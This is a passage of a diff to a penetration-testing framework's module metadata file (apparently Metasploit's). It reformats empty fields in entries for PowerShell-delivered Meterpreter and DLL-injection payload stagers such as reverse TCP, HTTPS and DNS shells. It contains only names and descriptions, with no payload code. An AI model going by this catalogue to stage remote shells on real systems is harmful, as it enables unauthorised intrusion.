"payload_cmd/windows/powershell/generic/tight_loop": { "name": "Powershell Exec, Generic x86 Tight Loop", "fullname": "payload/cmd/windows/powershell/generic/tight_loop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224871,9 +227990,7 @@ "jduck " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nGenerate a tight loop in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "cmd", "rport": null, @@ -224887,8 +228004,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224899,9 +228015,7 @@ "payload_cmd/windows/powershell/loadlibrary": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224911,9 +228025,7 @@ "hdm " ], "description": "Execute an x86 payload from a command via PowerShell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -224927,8 +228039,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224939,9 +228050,7 @@ "payload_cmd/windows/powershell/messagebox": { "name": "Powershell Exec, Windows MessageBox", "fullname": "payload/cmd/windows/powershell/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -224951,9 +228060,7 @@ "jduck " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawns a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -224967,8 +228074,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -224979,9 +228085,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225012,8 +228116,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225026,9 +228129,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225059,8 +228160,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225073,9 +228173,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225104,8 +228202,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225118,9 +228215,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225149,8 +228244,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225163,9 +228257,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225194,8 +228286,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225208,9 +228299,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225239,8 +228328,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225253,9 +228341,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225284,8 +228370,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225298,9 +228383,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225331,8 +228414,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225345,9 +228427,7 @@ "payload_cmd/windows/powershell/meterpreter/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225376,8 +228456,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225390,9 +228469,7 @@ "payload_cmd/windows/powershell/meterpreter/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/meterpreter/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225420,8 +228497,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225434,9 +228510,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_http": { "name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225465,8 +228539,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225479,9 +228552,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore": { "name": "Powershell Exec, Reverse HTTP Stager Proxy", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225510,8 +228581,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225524,9 +228594,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_https": { "name": "Powershell Exec, Windows Reverse HTTPS Stager (wininet)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225555,8 +228623,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225569,9 +228636,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225600,8 +228665,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225614,9 +228678,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_named_pipe": { "name": "Powershell Exec, Windows x86 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225644,8 +228706,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225658,9 +228719,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225689,8 +228748,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225703,9 +228761,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225734,8 +228790,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225748,9 +228803,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225779,8 +228832,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225793,9 +228845,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225824,8 +228874,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225838,9 +228887,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225870,8 +228917,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225884,9 +228930,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225917,8 +228961,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225931,9 +228974,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -225964,8 +229005,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -225978,9 +229018,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226009,8 +229047,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226023,9 +229060,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_winhttp": { "name": "Powershell Exec, Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226055,8 +229090,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226069,9 +229103,7 @@ "payload_cmd/windows/powershell/meterpreter/reverse_winhttps": { "name": "Powershell Exec, Windows Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226101,8 +229133,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226115,9 +229146,7 @@ "payload_cmd/windows/powershell/metsvc_bind_tcp": { "name": "Powershell Exec, Windows Meterpreter Service, Bind TCP", "fullname": "payload/cmd/windows/powershell/metsvc_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226126,9 +229155,7 @@ "hdm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226142,8 +229169,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226154,9 +229180,7 @@ "payload_cmd/windows/powershell/metsvc_reverse_tcp": { "name": "Powershell Exec, Windows Meterpreter Service, Reverse TCP Inline", "fullname": "payload/cmd/windows/powershell/metsvc_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226165,9 +229189,7 @@ "hdm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226181,8 +229203,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226193,9 +229214,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226224,8 +229243,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226238,9 +229256,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226269,8 +229285,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226283,9 +229298,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226297,9 +229310,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226313,8 +229324,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226327,9 +229337,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226342,9 +229350,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226358,8 +229364,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226372,9 +229377,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226385,9 +229388,7 @@ "UserExistsError" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226401,8 +229402,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226415,9 +229415,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226428,9 +229426,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226444,8 +229440,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226458,9 +229453,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226472,9 +229465,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226488,8 +229479,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226502,9 +229492,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_tcp_rc4": { "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226518,9 +229506,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226534,8 +229520,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226548,9 +229533,7 @@ "payload_cmd/windows/powershell/patchupdllinject/bind_tcp_uuid": { "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226562,9 +229545,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226578,8 +229559,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226592,9 +229572,7 @@ "payload_cmd/windows/powershell/patchupdllinject/find_tag": { "name": "Powershell Exec, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/patchupdllinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226604,9 +229582,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226620,8 +229596,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226634,9 +229609,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp": { "name": "Powershell Exec, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226648,9 +229621,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226664,8 +229635,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226678,9 +229648,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp": { "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226691,9 +229659,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226707,8 +229673,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226721,9 +229686,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_ord_tcp": { "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226734,9 +229697,7 @@ "spoonm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226750,8 +229711,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226764,9 +229724,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp": { "name": "Powershell Exec, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226778,9 +229736,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226794,8 +229750,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226808,9 +229763,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_allports": { "name": "Powershell Exec, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226822,9 +229775,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226838,8 +229789,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226852,9 +229802,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_dns": { "name": "Powershell Exec, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226867,9 +229815,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226883,8 +229829,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226897,9 +229842,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226913,9 +229856,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226929,8 +229870,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226943,9 +229883,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -226959,9 +229897,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -226975,8 +229911,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -226989,9 +229924,7 @@ "payload_cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid": { "name": "Powershell Exec, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/patchupdllinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227003,9 +229936,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -227019,8 +229950,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227033,9 +229963,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227064,8 +229992,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227078,9 +230005,7 @@ "payload_cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -227109,8 +230034,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -227123,9 +230047,7 @@ 